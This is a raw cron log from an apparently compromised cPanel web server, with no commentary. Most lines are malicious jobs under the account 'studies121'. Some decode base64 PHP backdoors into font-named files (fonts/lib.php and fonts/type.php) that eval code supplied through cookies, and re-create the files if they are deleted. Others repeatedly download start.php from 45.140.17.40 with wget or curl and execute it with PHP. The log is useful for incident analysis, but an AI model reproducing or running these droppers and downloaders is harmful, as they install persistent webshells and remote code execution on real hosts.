Sep  1 04:36:01 ip-184-168-122-23 CROND[16917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:36:01 ip-184-168-122-23 CROND[16918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:36:01 ip-184-168-122-23 CROND[16924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:37:01 ip-184-168-122-23 CROND[17118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:37:01 ip-184-168-122-23 CROND[17120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:37:01 ip-184-168-122-23 CROND[17125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:37:01 ip-184-168-122-23 CROND[17126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:38:01 ip-184-168-122-23 CROND[17243]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  1 04:38:01 ip-184-168-122-23 CROND[17247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:38:01 ip-184-168-122-23 CROND[17246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:38:01 ip-184-168-122-23 CROND[17245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:38:01 ip-184-168-122-23 CROND[17250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:38:01 ip-184-168-122-23 CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:39:02 ip-184-168-122-23 CROND[17401]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 04:39:02 ip-184-168-122-23 CROND[17400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:39:02 ip-184-168-122-23 CROND[17404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:39:02 ip-184-168-122-23 CROND[17406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:39:02 ip-184-168-122-23 CROND[17405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:40:01 ip-184-168-122-23 CROND[17519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:40:01 ip-184-168-122-23 CROND[17520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:40:01 ip-184-168-122-23 CROND[17521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:40:01 ip-184-168-122-23 CROND[17525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:40:01 ip-184-168-122-23 CROND[17524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:40:01 ip-184-168-122-23 CROND[17527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:40:01 ip-184-168-122-23 CROND[17528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:40:01 ip-184-168-122-23 CROND[17529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:41:01 ip-184-168-122-23 CROND[17653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:41:01 ip-184-168-122-23 CROND[17654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:41:01 ip-184-168-122-23 CROND[17652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:41:01 ip-184-168-122-23 CROND[17655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:42:01 ip-184-168-122-23 CROND[17874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:42:01 ip-184-168-122-23 CROND[17876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:42:01 ip-184-168-122-23 CROND[17875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:42:01 ip-184-168-122-23 CROND[17878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:42:01 ip-184-168-122-23 CROND[17879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:43:01 ip-184-168-122-23 CROND[18049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:43:01 ip-184-168-122-23 CROND[18051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:43:01 ip-184-168-122-23 CROND[18052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:43:01 ip-184-168-122-23 CROND[18053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:44:01 ip-184-168-122-23 CROND[18274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:44:01 ip-184-168-122-23 CROND[18275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:44:01 ip-184-168-122-23 CROND[18277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:44:01 ip-184-168-122-23 CROND[18278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:44:01 ip-184-168-122-23 CROND[18280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:45:01 ip-184-168-122-23 CROND[18449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:45:01 ip-184-168-122-23 CROND[18452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:45:01 ip-184-168-122-23 CROND[18453]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  1 04:45:01 ip-184-168-122-23 CROND[18454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:45:01 ip-184-168-122-23 CROND[18451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:45:01 ip-184-168-122-23 CROND[18456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:45:01 ip-184-168-122-23 CROND[18455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:46:01 ip-184-168-122-23 CROND[18592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:46:01 ip-184-168-122-23 CROND[18594]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:46:01 ip-184-168-122-23 CROND[18596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:46:01 ip-184-168-122-23 CROND[18595]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 04:46:01 ip-184-168-122-23 CROND[18597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:46:01 ip-184-168-122-23 CROND[18603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:46:01 ip-184-168-122-23 CROND[18601]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:47:01 ip-184-168-122-23 CROND[18832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:47:01 ip-184-168-122-23 CROND[18833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:47:01 ip-184-168-122-23 CROND[18834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:47:01 ip-184-168-122-23 CROND[18835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:48:01 ip-184-168-122-23 CROND[18961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
